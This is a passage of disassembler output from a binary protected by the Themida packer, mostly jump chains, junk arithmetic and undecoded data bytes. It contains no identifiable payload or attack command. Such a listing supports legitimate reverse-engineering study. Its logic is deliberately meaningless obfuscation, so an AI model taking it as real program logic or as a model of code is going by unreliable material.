		dd 4B9h, 3BCF6800h, 14890000h, 6236BA24h, 0D6293D68h, 83CE015Ah
		dd 0C8E904ECh, 51000001h, 0EE9D188h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51585B:				; CODE XREF: Themida_:00517E11j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_521F7D
; ---------------------------------------------------------------------------


loc_515876:				; CODE XREF: Themida_:00522E85j
		pop	edx
		add	ecx, 4
		jmp	loc_512ED9
; ---------------------------------------------------------------------------
		db 87h
		dd 895C243Ch, 0B82404h,	9000002h, 0E9581C47h, 0FFFFB379h
; ---------------------------------------------------------------------------


loc_515894:				; CODE XREF: Themida_:0051056Cj
		pop	ecx
		jmp	loc_519E87
; ---------------------------------------------------------------------------
		dw 4A42h
		dd 4168C281h, 0D601BA3Eh, 4C6835Ah, 5C243487h, 3254E9h
		dd 24048F00h, 1C31D3F7h, 241C3324h, 5B241C31h, 8107EBC1h
		dd 0D44DA5CBh, 8BAE96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5158CE:				; CODE XREF: Themida_:0051BAFBj
		mov	bl, ah
		pop	eax
		push	small 62C1h
		mov	[esp], dx
		mov	dl, 3Bh
		add	bl, dl
		pop	dx
		mov	cl, bl
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	al, cl
		mov	ecx, [esp]
		jmp	loc_51CAE9
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4EC83E1h, 89243489h,	0FEBF57E6h, 5125373Bh, 9D645AB9h
		dd 0C5BAE958h, 0ABAFFFFh, 87770D5Eh, 87D5F7EAh,	4175E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_515932:				; CODE XREF: Themida_:0051541Ej
		pop	edi
		jmp	loc_51D111
; ---------------------------------------------------------------------------
		dd 4C481h, 89560000h, 4C681E6h,	83000000h, 0B9E904EEh
		dd 66000033h, 3D29EB81h, 0C0B70F5Ah, 50E78957h,	7F579968h
		dd 9D355822h, 1227F57h,	24048BC7h, 1B5668h, 240C8900h
		dd 0C181E189h, 4, 4C181h, 0C870000h, 0DA7BE924h, 0C481FFFFh
		dd 4, 0B33EE9h,	24148B00h, 8004C483h, 0EB80BDC3h, 0A2D1E9C5h
		dd 4870000h, 0EC835C24h, 24048904h, 7AB0E951h, 0EA810000h
		dd 14161C40h, 6EA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5159C1:				; CODE XREF: Themida_:0050FA27j
		xchg	ebx, [esp]
		jmp	loc_50F5D6
; ---------------------------------------------------------------------------


loc_5159C9:				; CODE XREF: Themida_:00515D07j
		push	ecx
		push	ebx
		push	1F67BF0h
		pop	ebx
		or	ebx, 14AE3AE6h
		neg	ebx
		shl	ebx, 6
		xor	ebx, 0C53D5FCAh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_51CB95
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 24048B04h, 4C481h, 4050000h, 51000000h, 4EC81h
		dd 5FE90000h, 0B9FFFFBFh, 4, 159CB89h, 26E95BDFh, 8900002Ah
		dd 0BA52240Ch, 7C6553B3h, 0F75AD189h, 3E1C1D9h,	47BFB850h
		dd 6E2D5238h, 3569A91Fh, 0C932280Fh, 0DE9C131h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_515A43:				; CODE XREF: Themida_:005161D1j
		mov	edx, 3E904ADAh
		mov	ebx, 4083C78Eh
		add	ebx, edx
		pop	edx
		xor	ebp, ebx
		pop	ebx
		sub	ebp, 2F8F29A3h
		push	edx
		mov	edx, ebp
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	ebp
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		inc	ebx
		xchg	esi, ebx
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		xchg	esi, ebx
		push	edi
		mov	edi, 3B0F3F2Bh
		shl	edi, 5
		shl	edi, 7
		shl	edi, 6
		and	edi, 9C3576Bh
		xor	edi, 4B4C24C5h
		jmp	loc_51F313
; ---------------------------------------------------------------------------
		dd 3C977FB8h, 58C22988h, 0C15AD089h, 0C80503E0h, 564D872h
		dd 33935C5Fh, 9D38E9h, 6CE95A00h, 80FFFFAFh, 0DCE9B7C3h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_523959
; ---------------------------------------------------------------------------


loc_515ADA:				; CODE XREF: Themida_:0051B792j
		pop	ebp
		push	73h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_515228
; ---------------------------------------------------------------------------
		dd 6824248Bh, 3F7h, 0B8240489h,	58BB200Dh, 4246C81h, 1AF0FF5h
		dd 0FF974EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515B0D:				; CODE XREF: Themida_:005187E0j
		not	ebx
		xchg	ebx, edi
		jmp	loc_50EF6C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 11F92BE6h, 0BE56C201h, 248B045Bh, 16ADF681h,	0C1467955h
		dd 0DEF702EEh, 2414F756h, 824CE9h, 71E95B00h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515B3F:				; CODE XREF: Themida_:00513C65j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_518351
; ---------------------------------------------------------------------------


loc_515B4E:				; CODE XREF: Themida_:00510349j
		pop	edx
		jmp	loc_51E645
; ---------------------------------------------------------------------------


loc_515B54:				; CODE XREF: Themida_:0051F8E6j
		add	eax, ebx
		pop	ebx
		sub	edx, eax
		jmp	loc_51E27C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24048924h, 0FF8687E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515B69:				; CODE XREF: Themida_:00522AEDj
		add	edi, 76AC4013h
		add	edi, esi
		jmp	loc_51A76C
; ---------------------------------------------------------------------------


loc_515B76:				; CODE XREF: Themida_:0051951Bj
		pop	dword ptr [esp]
		jmp	loc_52105D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 162FBD55h, 31BA2E10h, 2985817Fh, 0D2F75DEAh
		dd 1256EA81h, 0BF574A26h, 0EBF7A7Eh, 7C1CF81h, 0A1E9121Bh
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515BAB:				; CODE XREF: Themida_:0051E5ADj
		push	70CF2C5Ah
		pop	ebp
		push	esi
		mov	esi, 31687C64h
		dec	esi
		not	esi
		add	esi, 13FE0341h
		jmp	loc_5108A7
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0BA52E789h, 6DC521AFh, 1202E9h
		db 0
; ---------------------------------------------------------------------------


loc_515BD5:				; CODE XREF: Themida_:0051D419j
		pop	esp
		push	273h
		mov	[esp], ebp
		jmp	loc_518852
; ---------------------------------------------------------------------------


loc_515BE3:				; CODE XREF: Themida_:00510D98j
		shl	esi, 3
		jmp	loc_50F562
; ---------------------------------------------------------------------------


loc_515BEB:				; CODE XREF: Themida_:0051F831j
		push	ebx
		mov	ebx, 549D40F9h
		add	ebx, 69387641h
		sub	ebx, 4FA86A6Ah
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_515668
; ---------------------------------------------------------------------------


loc_515C08:				; CODE XREF: Themida_:0051C5A9j
		add	eax, edx
		pop	edx
		jmp	loc_50FC57
; ---------------------------------------------------------------------------
		dd 4BF5758h, 1000000h, 2C875FFDh, 0B0F5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_515C22:				; CODE XREF: Themida_:005208B5j
		add	edi, esi
		pop	esi
		mov	ecx, 7DA44BEEh
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_51C958
; ---------------------------------------------------------------------------


loc_515C3A:				; CODE XREF: Themida_:0051B5B5j
		mov	edx, 54C77EFh
		xor	ecx, edx
		pop	edx
		sub	esi, 0D364CF7h
		add	esi, ecx
		add	esi, 0D364CF7h
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_515053
; ---------------------------------------------------------------------------
aXiSno		db 'X魮',0
		dw 8100h
		dd 383146E7h, 0E9E7D147h, 0FFFF92E9h
; ---------------------------------------------------------------------------


loc_515C7C:				; CODE XREF: Themida_:0051DA07j
		push	ecx
		push	5ACE3DA0h
		pop	ecx
		neg	ecx
		push	edi
		mov	edi, 399A145Ah
		xor	ecx, edi
		pop	edi
		jmp	loc_51665F
; ---------------------------------------------------------------------------
		db 68h
		dd 368Ah, 0BD242C89h, 42AD5ECEh, 0E9FFC583h, 46ADh, 5394768h
		dd 0EE7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_515CB2:				; CODE XREF: Themida_:005121C0j
		mov	ecx, 14E77DC2h
		dec	ecx
		dec	ecx
		inc	ecx
		add	ecx, 751AC183h
		sub	edx, ecx
		jmp	loc_51ABE1
; ---------------------------------------------------------------------------


loc_515CC7:				; CODE XREF: Themida_:00520863j
		pop	ebx
		xor	dh, ch
		pop	ecx
		push	420h
		mov	[esp], ebx
		mov	bh, dh
		mov	cl, bh
		pop	ebx
		pop	edx
		jmp	loc_5140AF
; ---------------------------------------------------------------------------
aLH		db '$$h#',0Ah,0
		align 2
aSt		db 'T=',0
		db 0
; ---------------------------------------------------------------------------


loc_515CEB:				; CODE XREF: Themida_:00516398j
		mov	ebp, 16661F5Dh
		shr	ebp, 8
		shr	ebp, 2
		shr	ebp, 7
		xor	ebp, 253E2305h
		push	edi
		jmp	loc_51C7FE
; ---------------------------------------------------------------------------


loc_515D05:				; CODE XREF: Themida_:0052098Cj
		push	esp
		pop	edi
		jmp	loc_5159C9
; ---------------------------------------------------------------------------
		dd 2C481h, 0EC810000h, 4, 68241489h, 1665h, 3BCDE954h
		dd 0E2890000h, 4C281h, 0C2810000h, 4, 0E9241487h, 0BCCCh
		dd 0E9241C89h, 0FFFFCFA8h
; ---------------------------------------------------------------------------


loc_515D44:				; CODE XREF: Themida_:00510ADFj
		mov	[esp], ebx
		jmp	loc_51D6B3
; ---------------------------------------------------------------------------


loc_515D4C:				; CODE XREF: Themida_:00515748j
		pop	eax
		xor	edx, 96741F27h
		push	eax
		mov	eax, 4D2649C8h
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_521DAD
; ---------------------------------------------------------------------------
		db 1
		dd 6BE959CAh
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515D6B:				; CODE XREF: Themida_:00510815j
		not	edi
		xor	edi, 2B2B20EAh
		add	edi, 5A5B714Ch
		mov	eax, edi
		pop	edi
		or	eax, 18A638D8h
		add	eax, 376F70EFh
		xor	eax, 469E2826h
		shl	eax, 2
		xor	eax, 0CBE3632Ch
		add	ecx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_522743
; ---------------------------------------------------------------------------
aAi1iSa		db '1A',0
		align 4


loc_515DBC:				; CODE XREF: Themida_:0051F521j
		push	ebp
		push	esi
		mov	esi, 4B3E76D8h
		shl	esi, 6
		add	esi, 19EA1B17h
		add	esi, 24CE9740h
		jmp	loc_523949
; ---------------------------------------------------------------------------
		align 4
		dd 180459CBh, 0EC81D828h, 4, 0B3241C89h, 7E3C05Fh, 80B7EB80h
		dd 0CB80DFCBh, 19C3806Dh, 0E95BD828h, 187Ah, 1C5C281h
		dd 0DA011E05h, 1C5EA81h, 0E95B1E05h, 0FFFF8F5Eh, 0E92434FFh
		dd 0FFFFD05Ah, 5FF9015Dh, 188F901h, 0E9240C8Bh,	8BEEh
		db 89h,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_513298
; ---------------------------------------------------------------------------
		db 87h,	0D9h, 87h
		dd 87D6F7F3h, 81D987F3h, 7C789FC1h, 5E1817Bh, 56250719h
		dd 0E737D68h, 0F6815E3Ch, 2C1A6041h, 515EF101h,	0AB31E9h
		dd 0FCEF8100h, 81FEA363h, 9D1687C6h, 49EE8147h,	0E9203A6Ah
		dd 3A16h, 335EF101h, 0C31240Ch,	240C3324h, 524248Bh, 4
		dd 281968h, 24348900h, 2BEh, 8BF00100h,	0C4832434h, 24043304h
		dd 0E9240431h, 0FFFFF8CEh, 2B8505Ah, 0E9000000h, 18F1h
		dd 582434FFh, 397E9h, 0FCBB5300h, 0BE7C0D41h, 0D191F64Ah
		dd 1C8BDE01h, 4C48124h,	0BD000000h, 1086CA29h, 6E70C581h
		dd 0F5015B9Fh, 6E70ED81h, 0BE5E5B9Fh, 3AE819DDh, 3CBE9h
		dd 5EF20100h, 5C241487h, 4BA52h, 0D3010000h, 0FFFFA3E9h
		dd 3DF580FFh, 0CDFEE9h
		db 0
; ---------------------------------------------------------------------------


loc_515F19:				; CODE XREF: Themida_:0051C3D9j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_51B775
; ---------------------------------------------------------------------------
		dd 0C8BC801h, 4C48124h,	8B000000h, 0C481242Ch, 4, 0CD9DE9h
		dd 535A5C00h, 4BBh, 0B8C28100h,	1147775h, 0B8EA81DAh, 5B147775h
		dd 0FF8522E9h, 0BB53FFh, 1000000h, 9078E9C3h, 34FF0000h
		dd 0C4835F24h, 0E9D30104h, 1F8Eh, 4EC8157h, 89000000h
		dd 0B768241Ch, 5B75C20Bh, 68DBF743h, 7255h, 0FF241C89h
		dd 57E9240Ch, 57FFFFAFh, 0FFC631E9h, 68DFF7FFh,	2C4Ch
		dd 0BD242C89h, 4ACB61CFh, 815DEF09h, 0BB60F8E7h, 0DFEF810Fh
		dd 8165D67Eh, 0FFFFFFC7h, 0AF8BE9FFh, 0F7800000h, 0A3EF8067h
		dd 0F6A3B652h, 0A63FE9DEh, 0DEF7FFFFh, 0A6E9D6F7h, 8F000029h
		dd 248B2404h, 0BB535724h, 5C88293Bh, 0CA9BE9h, 0A3CB8100h
		dd 5527CE4Ah, 247726BDh, 1FED813Dh, 81784E1Ch, 0B6543EF5h
		dd 0E995456Fh, 0F58h
; ---------------------------------------------------------------------------


loc_51601C:				; CODE XREF: Themida_:0051827Aj
		add	eax, ebx
		pop	ebx
		sub	eax, 308236E8h
		inc	eax
		jmp	loc_522AB5
; ---------------------------------------------------------------------------


loc_51602A:				; CODE XREF: Themida_:0051654Bj
		pop	dx
		neg	bl
		jmp	loc_516502
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 3467h, 81240489h,	4ECh, 240C8900h, 815B5453h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 4832424h, 42E90424h
		dd 3300008Eh, 3C31243Ch, 44D5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516072:				; CODE XREF: Themida_:00517EABj
		push	eax
		mov	eax, 54E81515h
		xor	ecx, eax
		pop	eax
		inc	ecx
		sub	ecx, 0D6E7731Dh
		xor	esi, ecx
		pop	ecx
		pop	ebx
		jmp	loc_517B87
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 74FF5700h, 5FE90424h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_51609B:				; CODE XREF: Themida_:0051C0B3j
		mov	esp, [esp]
		push	4BA4h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_50ED21
; ---------------------------------------------------------------------------


loc_5160AE:				; CODE XREF: Themida_:0051C517j
		push	edi
		jmp	loc_5118E9
; ---------------------------------------------------------------------------


loc_5160B4:				; CODE XREF: Themida_:005120CCj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, 464366AFh
		sub	eax, ebp
		sub	eax, 464366AFh
		jmp	loc_514E55
; ---------------------------------------------------------------------------
		db 87h
		dd 0E78147DFh, 74B21DF4h, 0DF9AEF81h, 0FB014D31h, 1897E9h
		dd 2C5A6600h, 83E6E9A9h, 0EDD1FFFFh, 45F5F581h,	6EE96205h
		dd 0C10000D2h, 352502E8h, 482E2452h, 7F1D6635h,	2CE60D62h
		dd 12D27F1h, 53000000h,	0F753BEBBh, 8BEB8107h, 31A25353h
		dd 0C1215BD8h, 0E924048Bh, 0A133h
; ---------------------------------------------------------------------------


loc_516130:				; CODE XREF: Themida_:00523A59j
		pop	edx
		shr	ebp, 5
		neg	ebp
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 6
		add	ebp, 7F4703FDh
		jmp	loc_50EE28
; ---------------------------------------------------------------------------
		dw 34FFh
aXvics_o	db '$XV.',0
		align 2
		dw 575Dh
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0E589242Ch, 1F08E9h
		dd 27E98100h, 5E58A32Fh, 83242C8Bh, 0C82904C4h,	0E9240C8Bh
		dd 0FFFFF93Bh, 7FE5EB81h, 0D9016ED4h, 0D05BE9h,	9C516600h
		dd 0FF8053E9h, 0E9F729FFh, 0FFFFA83Ah, 0F6E9D2B2h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5161AB:				; CODE XREF: Themida_:0051F9D4j
		push	31Eh
		mov	[esp], eax
		push	ebx
		mov	ebx, 57C82A84h
		push	ebx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		jmp	loc_5175F0
; ---------------------------------------------------------------------------


loc_5161C7:				; CODE XREF: Themida_:005173A8j
		inc	ebp
		push	ebx
		push	50C7h
		mov	[esp], edx
		jmp	loc_515A43
; ---------------------------------------------------------------------------
aIZs		db 'Z鶜',0
		align 2
aISI		db '[',9,'',0
		align 2
		dw 48Bh
		dd 4C48124h, 0E9000000h, 0FFFFC7C9h, 5524048Fh,	4BDh, 246C0100h
		dd 2434FF04h, 0E9242C8Bh, 0D614h, 5FF8015Eh, 4EC81h, 14890000h
		dd 81E28924h, 4C2h, 4EA8300h, 0E9241487h, 0D616h, 5A66C804h
		dd 0E828A12Ch, 0E953A104h, 0FFFF8D79h, 84E9525Ch, 55FFFFD5h
		dd 4EC81h, 3C890000h, 4606BF24h, 48BD6AB9h, 29A3FE99h
		dd 0E9525FFDh, 654Bh, 458A68h, 242C8900h, 2434FF54h, 5D2434FFh
		dd 5604C483h, 0C6815E54h, 4, 3304C683h,	12E92434h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_516287:				; CODE XREF: Themida_:0051F4C4j
		add	ebp, ecx
		jmp	loc_5131AD
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0D05AA4E9h, 0EEE98160h, 81462B0Eh, 804BB2C1h, 0C59DE99Fh
		dd 0C7830000h, 4EC8104h, 89000000h, 74FF243Ch, 8F5F0424h
		dd 248B2404h, 8B545124h, 0E956240Ch, 0FFFF950Ah, 0E95DEE31h
		dd 0FFFF8B50h, 0B3EE8158h, 102347Bh, 4EC81EEh, 89000000h
		dd 46BD242Ch, 0E9689C6Ah, 0CFC4h
; ---------------------------------------------------------------------------


loc_5162EC:				; CODE XREF: Themida_:005185BEj
		add	edi, eax
		add	edi, 6AEF2356h
		pop	eax
		and	eax, edi
		jmp	loc_51D832
; ---------------------------------------------------------------------------
		dd 0C681EE01h, 7F181B76h, 4EE835Dh, 4EC81h, 34890000h
		dd 2474FF24h, 24348B04h, 8F04C483h, 248B2404h, 0CE23E924h
		dd 0E0C1FFFFh, 4AC32D07h, 0E9401870h, 0FFFFE057h
; ---------------------------------------------------------------------------


loc_516334:				; CODE XREF: Themida_:0051A42Cj
		pop	edx
		inc	ebx
		jmp	loc_5224C8
; ---------------------------------------------------------------------------
		db 53h
		dd 0A707D1BBh, 0B1CB8158h, 816ACD25h, 84C541EBh, 8BDE894Fh
		dd 0C481241Ch, 4, 5A30BF57h, 0EF811CB3h, 1686072Ah, 8105EFC1h
		dd 0C707ECEFh, 634BE9D4h, 4310000h, 24043324h, 0FF8D0AE9h
		dd 243C31FFh, 8B243C33h, 65E92424h, 8BFFFF7Eh, 89572434h
		dd 7AE4E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516396:				; CODE XREF: Themida_:0051FA72j
		pop	ebp
		push	ebp
		jmp	loc_515CEB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0C104EBC1h, 0D3F705E3h, 24C0BF57h, 0EF810D1Ch, 8FC41048h
		dd 58F781h, 0F74F278Ch,	0F5B850DFh, 16FBC75h, 0FB0158C7h
		dd 0F245E95Fh, 0E9B3FFFFh, 66FFEB80h, 66570C68h, 0B5240C89h
		dd 0DAC3800Dh, 0FFA383E9h, 0EFB951FFh, 0E96F835Eh, 0FFFFDB8Dh
		dd 0B3618FBAh, 93A7E930h, 0EF29FFFFh, 74FF575Dh, 3C8B0424h
		dd 3F386824h, 34890000h, 0E9E68924h, 0FFFFD55Eh
; ---------------------------------------------------------------------------


loc_516414:				; CODE XREF: Themida_:00522A67j
		xor	esi, 199E3165h
		add	esi, 5D5149D5h
		jmp	loc_514D1B
; ---------------------------------------------------------------------------


loc_516425:				; CODE XREF: Themida_:00518174j
		add	esp, 4
		pop	eax
		dec	ecx
		xor	ecx, 598C4635h
		and	eax, ecx
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_51994E
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_51CDA7
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 950BE9h, 4EC8300h, 6B48E9h, 93935B00h, 0A445E9h
		db 0
; ---------------------------------------------------------------------------


loc_516475:				; CODE XREF: Themida_:0051F0ADj
		push	edi
		mov	edi, 795013B8h
		dec	edi
		jmp	loc_50E24C
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 6Ch
		dd 59727516h, 0E10CE957h, 8B66FFFFh, 8950240Ch,	2A1CE9E0h
		dd 15A0000h, 0E9042444h, 0FFFFF970h, 4B07E3C1h,	8108E3C1h
		dd 0C90100C3h, 2C8153D7h, 0A75B324h, 6BE9596Fh,	68FFFFD5h
		dd 640Fh, 0B8240489h, 6890639Dh, 0C1FFC083h, 0FF2D04E8h
		dd 0E9FFFFFFh, 5DF1h, 7B96ED81h, 0E9510E91h, 0CB29h, 5B241489h
		dd 0FF5BD989h, 0C0E92434h, 510000AEh, 130419B9h, 6297E967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516502:				; CODE XREF: Themida_:0051602Ej
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dh, bl
		push	ebx
		jmp	loc_510F8B
; ---------------------------------------------------------------------------
		dd 24048B66h, 2A3368h, 240C8900h, 0FF88D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516525:				; CODE XREF: Themida_:005192C7j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_52109C
; ---------------------------------------------------------------------------


loc_516547:				; CODE XREF: Themida_:00517B77j
		not	dh
		mov	bl, dh
		jmp	loc_51602A
; ---------------------------------------------------------------------------
		dd 0C1FFEF83h, 8EE902E7h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51655B:				; CODE XREF: Themida_:00514308j
		push	edi
		push	5EC50C2Dh
		jmp	loc_517886
; ---------------------------------------------------------------------------


loc_516566:				; CODE XREF: Themida_:0051BDDAj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_514C7E
; ---------------------------------------------------------------------------


loc_516570:				; CODE XREF: Themida_:00516630j
		mov	[esp], ebx
		push	esi
		push	ebx
		mov	ebx, 33E072BAh
		neg	ebx
		shl	ebx, 5
		shr	ebx, 6
		jmp	loc_51EEF8
; ---------------------------------------------------------------------------


loc_516587:				; CODE XREF: Themida_:00522A18j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 45624101h
		and	eax, 15EC1A3Dh
		jmp	loc_51253E
; ---------------------------------------------------------------------------


loc_51659D:				; CODE XREF: Themida_:0051804Aj
		push	eax
		push	esi
		mov	esi, esp
		jmp	loc_51390C
; ---------------------------------------------------------------------------


loc_5165A6:				; CODE XREF: Themida_:005175EBj
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_50FBFB
; ---------------------------------------------------------------------------


loc_5165B0:				; CODE XREF: Themida_:00520350j
		xor	cl, 96h
		jmp	loc_52355E
; ---------------------------------------------------------------------------
		dd 406C64B9h, 0D53BE92Dh, 8CBAFFFFh, 81756318h,	811318EAh
		dd 0C576E962h, 19E90000h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5165D7:				; CODE XREF: Themida_:0052397Bj
		push	45B2321Dh
		pop	eax
		push	esi
		mov	esi, 1B0E4314h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_513351
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048324h, 240C8B04h, 4C481h, 0ECE90000h, 31000007h
		dd 814F59CFh, 2AAD50C7h, 5FF8317Ah, 0A9F2E9h, 80E94D00h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51661F:				; CODE XREF: Themida_:0051CDAAj
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 2C366D91h
		push	5F04h
		jmp	loc_516570
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0Bh
		dd 81298F04h, 0A704D4EBh, 81F30114h, 0A704D4C3h, 0BBA5214h
		dd 0E9298F04h, 0FFFF9486h
; ---------------------------------------------------------------------------


loc_516654:				; CODE XREF: Themida_:00518D28j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_521CE6
; ---------------------------------------------------------------------------


loc_51665F:				; CODE XREF: Themida_:00515C8Ej
		push	eax
		mov	eax, 71BD4DA4h
		and	ecx, eax
		pop	eax
		jmp	loc_5196BD
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 11h
		dd 0E9EB1BC4h, 0FFFF9D16h
; ---------------------------------------------------------------------------


loc_516678:				; CODE XREF: Themida_:00510F0Bj
		mov	[esp], esp
		jmp	loc_523240
; ---------------------------------------------------------------------------
		dd 46F58145h, 1308302h,	0EE815DEEh, 4, 8B243487h, 1C892424h
		dd 5816E924h, 31AD0000h, 0D0E9E9D8h, 0E958FFFFh, 0A9A7h
		dd 2A6BD55h, 0EF292547h, 9C11E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5166BA:				; CODE XREF: Themida_:00510D72j
		sub	esp, 4
		jmp	loc_514461
; ---------------------------------------------------------------------------


loc_5166C2:				; CODE XREF: Themida_:00519470j
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_5239F0
; ---------------------------------------------------------------------------


loc_5166CB:				; CODE XREF: Themida_:00514062j
		sub	eax, 4D5C6D81h
		add	eax, ebx
		add	eax, 4D5C6D81h
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_51A6F0
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 0E2895258h, 4C281h, 0EA830000h, 24148704h
		dd 0A6A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_516719:				; CODE XREF: Themida_:0051D24Dj
		mov	ax, [esp]
		jmp	loc_517D2E
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 0E9DEF66Ah, 3B08h
; ---------------------------------------------------------------------------


loc_51672C:				; CODE XREF: Themida_:00521F3Fj
		mov	[esp], eax
		push	4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	2E57h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_51DB46
; ---------------------------------------------------------------------------


loc_516754:				; CODE XREF: Themida_:00510095j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_517DF6
; ---------------------------------------------------------------------------
aXsn		db 'X',0
		align 10h
		dd 0B143EE05h, 2DE82933h, 33B143EEh, 7E9CE9h
		db 0
; ---------------------------------------------------------------------------


loc_516781:				; CODE XREF: Themida_:00514CCDj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		mov	edi, 0B454F87h
		jmp	loc_50E2BB
; ---------------------------------------------------------------------------
		db 81h
		dd 0F57E7CEDh, 1D7F6821h, 4890000h, 0E108E924h,	0C89FFFFh
		dd 9BE95024h, 30000053h, 0F8085AF7h, 94E95B66h,	8B00004Dh
		dd 54552424h, 2606E9h
		db 0
; ---------------------------------------------------------------------------


loc_5167CD:				; CODE XREF: Themida_:0050EE2Ej
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_51816A
; ---------------------------------------------------------------------------
		dd 211CF281h, 0E9571ECFh, 20FAh, 4BD55h, 6EE90000h, 89FFFFDFh
		dd 4EC83E3h, 0BA241489h, 4, 0D4E9D301h,	53FFFFBCh, 4352BEBBh
		dd 5BD90133h, 1438C181h, 0D901428Ah, 0A22FE956h, 0F030FFFFh
